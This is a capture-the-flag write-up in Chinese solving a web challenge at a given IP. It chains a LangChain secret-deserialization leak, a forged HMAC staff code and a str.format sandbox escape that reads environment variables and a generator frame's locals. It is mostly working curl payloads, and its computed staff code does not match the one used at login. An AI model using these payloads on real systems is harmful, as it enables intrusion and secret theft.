BASE='http://101.245.103.157:5049'

这题的完整链路是:

  1. 注册普通用户
  2. 敲木鱼攒到 60 金币
  3. 买 Support Debug Bundle 拿到源码
  4. 用聊天区 metadata 的 LangChain 反序列化洞泄露 SHOP_SUPPORT_SEED
  5. 计算当天 UTC 的 staff-code
  6. 用 bot /login 升成 support_admin
  7. 打开 Rule Lab,绕过黑名单,从生成器帧局部变量里把 flag 读出来

Step 1. 注册账号

注册接口:

curl -s "$BASE/api/auth/register" \

-H 'Content-Type: application/json' \

-d '{

"username":"ctf73605297",

"password":"Aa!testtesttest1",

"confirmPassword":"Aa!testtesttest1"

}'

返回里会带 token,后面所有登录态请求都用:

-H "Authorization: Bearer $TOKEN"

Step 2. 敲木鱼攒金币

新用户初始只有 50 金币,但 Support Debug Bundle 要 60 金币。
/api/woodfish/knock 每次 coin +1,敲 10 次正好到 60。

payload:

curl -s "$BASE/api/woodfish/knock" \

-X POST \

-H "Authorization: Bearer $TOKEN" \

-H 'Content-Type: application/json' \

-d '{}'

重复 10 次。第 10 次后返回里会看到:

{"coins":60,"woodfishCount":10,"broken":true}

Step 3. 购买 Support Debug Bundle 拿源码

购买商品 2:

curl -s "$BASE/api/shop/buy" \

-X POST \

-H "Authorization: Bearer $TOKEN" \

-H 'Content-Type: application/json' \

-d '{"productId":2}'

然后下载源码:

curl -s "$BASE/api/shop/download/support-ticket" \

-H "Authorization: Bearer $TOKEN"

拿到的核心代码是:

seed = os.environ.get("SHOP_SUPPORT_SEED", "local-support-seed")

today = datetime.now(timezone.utc).strftime("%Y%m%d")

message = f"support-login:{user['id']}:{user['username']}:{today}"

digest = hmac.new(seed.encode(), message.encode(), hashlib.sha256).hexdigest()

return digest[:12]

说明只要拿到 SHOP_SUPPORT_SEED,就能算当天的 staff-code。

Step 4. 利用聊天区 metadata 反序列化泄露 seed

前端发消息时会把 metadata 原样塞进 /api/chat/messages。
这里可以构造 LangChain secret 对象,让服务端反序列化并在拉历史消息时回显真实值。

发消息 payload:

curl -s "$BASE/api/chat/messages" \

-X POST \

-H "Authorization: Bearer $TOKEN" \

-H 'Content-Type: application/json' \

-d '{

"content":"seed probe",

"metadata":{

"source":"chat-sync",

"client":"web-shop",

"messages":[

{

"lc":1,

"type":"secret",

"id":["SHOP_SUPPORT_SEED"]

}

]

}

}'

然后拉历史消息:

curl -s "$BASE/api/chat/messages" \

-H "Authorization: Bearer $TOKEN"

关键回显会变成:

"messages":["sdjksdjksj_seedd_222"]

所以:

SHOP_SUPPORT_SEED = sdjksdjksj_seedd_222

Step 5. 计算 staff-code

注意这里必须用 UTC 日期。这台靶机对应的是:

20260614

计算脚本 payload:

import hmac, hashlib

seed = "sdjksdjksj_seedd_222"

uid = 7109

username = "ctf73605297"

date = "20260614"

msg = f"support-login:{uid}:{username}:{date}"

code = hmac.new(seed.encode(), msg.encode(), hashlib.sha256).hexdigest()[:12]

print(code)

我这次注册的号算出来是:

fbb0ff07ee29

Step 6. 机器人登录 staff 身份

bot 登录 payload:

curl -s "$BASE/api/bot/chat" \

-X POST \

-H "Authorization: Bearer $TOKEN" \

-H 'Content-Type: application/json' \

-d '{

"message":"/login 84a1fcd3a26c"

}'

成功后会返回:

"登录成功,已激活 support_admin 权限。"

再确认一下:

curl -s "$BASE/api/bot/chat" \

-X POST \

-H "Authorization: Bearer $TOKEN" \

-H 'Content-Type: application/json' \

-d '{"message":"/whoami"}'

会看到:

"当前身份:support_admin"

Step 7. 打 Rule Lab,先做信息收集

先看预览对象:

items = []

for item in iter_preview_items():

items.append(item)

result = items

payload:

curl -s "$BASE/api/rules/run" \

-X POST \

-H "Authorization: Bearer $TOKEN" \

-H 'Content-Type: application/json' \

-d @- <<'EOF'

{"code":"items = []\nfor item in iter_preview_items():\n items.append(item)\nresult = items"}

EOF

返回能看到预览里有:

user / order / policy / shop

另外,隐藏变量 products 是可直接访问的:

result = products

会返回:

[

{"name":"测试商品","price":50},

{"name":"神秘礼盒","price":999999}

]

说明 Rule Lab 的上下文比前端显示的更多。

Step 8. 黑名单绕过,读到 sandbox 全局和环境变量

这个沙箱禁了 globals/getattr/open/dir,也禁了很多危险属性名,
但它是 AST 黑名单,str.format() 的字段解析不会走同一套限制。

先用动态字符串绕过 __globals__ 关键字:

a = '__glo' + 'bals__'

result = ('{0.' + a + '[os].environ}').format(iter_preview_items)

payload:

curl -s "$BASE/api/rules/run" \

-X POST \

-H "Authorization: Bearer $TOKEN" \

-H 'Content-Type: application/json' \

-d @- <<'EOF'

{"code":"a = '__glo' + 'bals__'\nresult = ('{0.' + a + '[os].environ}').format(iter_preview_items)"}

EOF

这里会直接泄露环境变量,关键两项是:

FLAG_PATH=/app/private/flag.txt

SHIPMENT_PREVIEW_FILE=/app/private/flag.txt

再看 _execute_code 的常量,能确认它内部确实定义了 load_manifest 和预览文件路径:

a = '__glo' + 'bals__'

result = ('{0.' + a + '[_execute_code].__code__.co_consts}').format(iter_preview_items)

会看到:

'SHIPMENT_PREVIEW_FILE', '/app/private/flag.txt', <code object load_manifest ...>

Step 9. 找到真正的取 flag 点

继续看 iter_preview_items 的闭包变量:

result = '{0.__code__.co_freevars}'.format(iter_preview_items)

返回:

('load_manifest', 'preview_items')

说明这个生成器闭包里抓了一个 load_manifest。
再把闭包内容取出来:

a = '__clo' + 'sure__'

result = ('{0.' + a + '[0].cell_contents}').format(iter_preview_items)

得到:

<function _execute_code.<locals>.load_manifest at ...>

再看 iter_preview_items 的局部变量名:

result = '{0.__code__.co_varnames}'.format(iter_preview_items)

返回:

('shipment_manifest', 'item')

这就很关键了。说明 iter_preview_items() 一开始会把某个值先读进局部变量 shipment_manifest,然后再开始 yield 预览项。
正常返回时这个变量不显示,但生成器暂停后,帧局部变量还在。

Step 10. 最终 payload:从生成器帧局部变量直接读 flag

最终 payload:

g = iter_preview_items()

next(g)

a = 'gi_' + 'frame'

b = 'f_' + 'locals'

result = ('{0.' + a + '.' + b + '[shipment_manifest]}').format(g)

请求:

curl -s "$BASE/api/rules/run" \

-X POST \

-H "Authorization: Bearer $TOKEN" \

-H 'Content-Type: application/json' \

-d @- <<'EOF'

{"code":"g = iter_preview_items()\nnext(g)\na = 'gi_' + 'frame'\nb = 'f_' + 'locals'\nresult = ('{0.' + a + '.' + b + '[shipment_manifest]}').format(g)"}

EOF

返回直接就是:

SCTF{human_cas3_the_m@in_pr0blem_not_bot}

最终 flag

SCTF{human_cas3_the_m@in_pr0blem_not_bot}

这题本质上是两段链:

  1. 聊天区 metadata 的 LangChain 反序列化,拿 SHOP_SUPPORT_SEED,伪造 support_admin
  2. Rule Lab 是黑名单 AST 沙箱,但可以用 str.format + 动态拼接敏感属性名,最后从生成器 gi_frame.f_locals['shipment_manifest'] 里把 flag 读出来